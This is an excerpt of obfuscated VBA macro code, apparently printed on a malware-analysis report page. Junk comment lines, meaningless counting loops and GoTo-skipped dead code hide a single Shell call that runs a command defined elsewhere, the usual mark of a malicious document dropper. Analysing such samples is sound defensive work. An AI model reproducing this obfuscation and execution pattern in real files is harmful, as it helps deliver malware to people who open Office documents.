'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim cNXLYAxj As String
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Open "WWYZBR.FIZ" For Binary As 63

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim dXRmFRzV As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
dXRmFRzV = 3
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While dXRmFRzV < 63
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: dXRmFRzV = dXRmFRzV + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Put #63, , cNXLYAxj

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim GTZRtyiO As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
GTZRtyiO = 6
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While GTZRtyiO < 58
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: GTZRtyiO = GTZRtyiO + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Close #63

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim quPVwSwv As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
quPVwSwv = 3
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While quPVwSwv < 65
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: quPVwSwv = quPVwSwv + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
KtfcluRb:


'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim MZagIvKo As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
MZagIvKo = 9
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While MZagIvKo < 39
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: MZagIvKo = MZagIvKo + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
    
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
    Dim QVGDIXZMWWT

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
GoTo kphkFOYj
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim pnyeTHWM As String
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Open "IVUBOK.AQE" For Binary As 24

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim EZBlhPPa As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
EZBlhPPa = 3
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While EZBlhPPa < 75
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: EZBlhPPa = EZBlhPPa + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Put #24, , pnyeTHWM

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim KHFdzbla As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
KHFdzbla = 8
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While KHFdzbla < 61
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: KHFdzbla = KHFdzbla + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Close #24

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim kKtaAIXa As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
kKtaAIXa = 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While kKtaAIXa < 58
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: kKtaAIXa = kKtaAIXa + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
kphkFOYj:


'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim pGJeEVOQ As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
pGJeEVOQ = 9
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While pGJeEVOQ < 62
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: pGJeEVOQ = pGJeEVOQ + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
    QVGDIXZMWWT = Shell(FKCRYFYLUWA, 1)


'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
GoTo isTtxXiW
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim aZxHfexv As String
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Open "EBGLNB.EXH" For Binary As 95

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim cqyHYMIb As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
cqyHYMIb = 5
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While cqyHYMIb < 86
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: cqyHYMIb = cqyHYMIb + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Put #95, , aZxHfexv

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim NLeBXmFq As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
NLeBXmFq = 7
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While NLeBXmFq < 71
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: NLeBXmFq = NLeBXmFq + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Close #95

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim giKKIpxq As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
giKKIpxq = 3
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While giKKIpxq < 75
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: giKKIpxq = giKKIpxq + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
isTtxXiW:


'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim ffkLqHDU As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
ffkLqHDU = 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While ffkLqHDU < 43
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: ffkLqHDU = ffkLqHDU + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
    Set UUIBPVEDDRP = Nothing

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
GoTo vlacUUtF
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim kOKocFlk As String
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Open "QZNZTK.WMV" For Binary As 36

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim IMNsBLvH As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
IMNsBLvH = 7
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While IMNsBLvH < 41
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: IMNsBLvH = IMNsBLvH + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Put #36, , kOKocFlk

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim thRWPZVS As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
thRWPZVS = 8
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While thRWPZVS < 57
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: thRWPZVS = thRWPZVS + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Close #36

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim lRlFxkYQ As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
lRlFxkYQ = 4
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While lRlFxkYQ < 42
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: lRlFxkYQ = lRlFxkYQ + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
vlacUUtF:


'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim fkHjdEBb As Integer
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
fkHjdEBb = 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Do While fkHjdEBb < 15
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
DoEvents: fkHjdEBb = fkHjdEBb + 1
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Loop

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
     
End Function
Sub XFSQBFKMHZZ()

'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
GoTo NyOJEIRP
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
Dim TajsJewZ As String
'DFGHJkbdjhbflshuivGHFvdhkbgfsdklnbgklbHJCHJvfbljdbgfskdbjkcGJCVKJFbdklfbsjkvghXCJKVf
…

Open this report in the interactive analyzer, or submit your own file for analysis.